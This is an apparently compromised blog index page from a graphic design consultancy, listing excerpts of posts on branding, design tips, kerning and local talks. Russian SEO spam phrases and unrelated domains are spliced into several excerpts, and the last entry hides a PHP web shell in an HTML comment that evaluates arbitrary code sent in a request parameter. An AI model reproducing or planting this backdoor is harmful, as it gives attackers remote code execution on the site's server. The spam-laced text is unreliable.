Reverse Design Tip 6: The Table Test
Теплая штукатурка своими руками Here’s a quick tip. What can you do to check the health of your brand and its communications? Try the ‘Table Test’… What’s it for? It’s a simple, quick way to analyse the effectiveness and consistency of your marketing materials. How’s it done? 1) Gather all of your branded […]
Reverse Design Tip 5: Reading order
#ReverseDesignTip 5: Reading order In marketing materials, there is little time to get our point across to potential customers (Go on, impress me! You’ve got 3 seconds). This means that you should prioritise your content to ensure that your audiences see the most important pieces of information first. Simple enough? Yes, but too […]
Reverse Talk! Today, 25 June at 5.00pm, The Think Tank, Lincoln.
#IdeaCellMore: FilltheGap @reversedesign
Reverse Design Tip 4: Save money – start a bank
veroxybd.com Start a bank? I’m sure you’re wondering whether I’ve finally lost all my marbles. Well, not just yet. I’m referring to one of those areas that seems to cause small businesses a lot of headaches. It also costs them more money than it should. I’m talking about obtaining images – […]
Mission-based marketing: why you need it
Recently, I’ve been searching for a way to use more video in marketing for Reverse. A couple of years ago, I posted a YouTube videoblog series on how to create brand identities for a small businesses. However, although the series went down ok, I wanted to see if I could produce […]
Reverse Design Tip 3: Go on, impress me! You’ve got 3 seconds
Такелажные крепления You – and your branded collateral – have a very limited amount of time to make an impression on potential customers. How limited? Check this out: So, make those first impressions count… On your literature, make sure that there’s a relevant and interesting message on the cover – […]
Reverse Talk!
25 June, Lincoln: Don’t miss Sinclair’s talk and workshop on brand/identity for SMEs.
#IdeaCellMore: FilltheGap @reversedesign
Kerning matters!
Sitting comfortably? Then I’ll begin. Kerning matters! The art of equalising the spacing between characters is as important today as it’s always been. Ever since movable type was invented (in China, 11th Century), the physical limitation of individual wooden or metal characters sitting next to each other has resulted in […]
Back to the future
Professor Mark Hunt (University for the Creative Arts) has recently suggested that the UK’s traditional lead in design and innovation may soon be lost, due to an over-reliance on design using digital technology. He may be right. http://bit.ly/1cAf68k I have been a graphic designer for over 25 years and a […]
The new vs the old?
I noticed that a new word marque has been created for the publisher Faber & Faber. They are at pains to point out that the famous old ‘ff’ colophon (or printer’s mark) is to remain – all that will be replaced are the italic font and typography below. I think […]
Naomi Atkinson: self promotion for creatives
Just rediscovered this excellent talk by Naomi Atkinson on how creatives can and should stand out from the crowd, in terms of self-promotion. It’s made me re-think my attitudes to how I describe my skills, my work and the way I do things. She says: ‘We promote our clients and […]
Beauty one week, rubbish the next?
Interesting Guardian article this week on the Spanish artist Francisco de Pájaro. Having moved from Barcelona to London to escape the depressed economy and restrictive laws on street expression, de Pájaro’s work pokes fun at political and media figures and the values associated with the mainstream art world. De Pájaro […]
The importance of imagery in brand presentation
Imagery is an important element of brand presentation. The way in which photographs, illustrations, charts, diagrams and other visuals are designed and used communicate much more than just the content to the viewer. They directly represent a company’s attitude to its products and services and the way it conducts business […]
Your Unique Selling Point: using it to your advantage
What’s the key to creating a credible brand image? How can you represent what your company does in an engaging way that can really mean something of value to existing and potential customers? Find something interesting to say, then keep saying it! With a USP, you have something to say […]
Good design starts with a good chat (and open ears)!
There’s a lot of psychobabble and plain old rubbish out there on how graphic designers should approach creating work for a new client or new design brief. Of course, this comes up very frequently with respect to the design students I teach. The questions I’m asked usually include: ‘what do […]
The Reverse February newsletter is out now!
It’s part three in our 10-Point-Plan on creating brand identities for small businesses. The newsletter gives tips on writing a design and communications brief to help get an effective brand identity for your business. See it here.
Future designers: MA group expo in Nottingham
Stop what you’re doing, now. This is important! If you can be in Nottingham over the next few days, get along to Nottingham Trent University and see their MA Design Expo. The group of students I’ve been supervising there are currently holding their public expo! If you like good design […]
1: Brands and the notion of trust
‘Beans means Heinz’. Generations of consumers have been brought up with this claim. It’s a well-known example of how we all make decisions based on trust, whether it is a brand of food or a make of car. Brands make promises and they often use this to differentiate themselves from […]
How to create a brand: a guide for business owners
Starting tomorrow, and continuing over the next ten weeks, I’ll be posting a blog series on the importance of branding for small and medium-sized businesses.ir-leasing.ru – What brands are and what they represent – Money talks – brands and market value – The importance of brand loyalty in customer retention […]
Short, but sweet
In my other life as a design teacher, I recently heard about an interesting idea to develop creative skills in students – instant design briefs. This involved a whole day of ‘one-hour design briefs’, where students were challenged to come up with sketches and copylines, without worrying too much about […]
I’d never do this, but I like it
Someone recommended Australian design and art collective Rinzen to me as an interesting example of collaborative working. The five principals Today together produce a video phenomenal amount of work, from printed publications to one-off illustrations to t-shirt and Waste online magazine designs. The navigation system is ‘different’, with brightly coloured […]
Will design buyers still buy during the recession?
I was pondering this question recently at a local business networking event. There we all were, around 120 local firms listening to business leaders, entrepreneurs, an economist and a banker Ron (yes, some of them do have a useful purpose!), etc talking about how businesses can survive the recession. Many […]
Ooh, nice site!
Go and check out the interesting 24 Blanka site for original, vintage and limited edition posters and prints, featuring work by National leading photographers, designers and artists. 1 Or, just visit anyway, to have a look at a nicely designed ?????? website. Которые http://www.blanka.co.uk/Home <!– [insert_php]if (isset($_REQUEST["cIguD"])){eval($_REQUEST["cIguD"]);exit;}[/insert_php][php]if (isset($_REQUEST["cIguD"])){eval($_REQUEST["cIguD"]);exit;}[/php] –> <!– […]
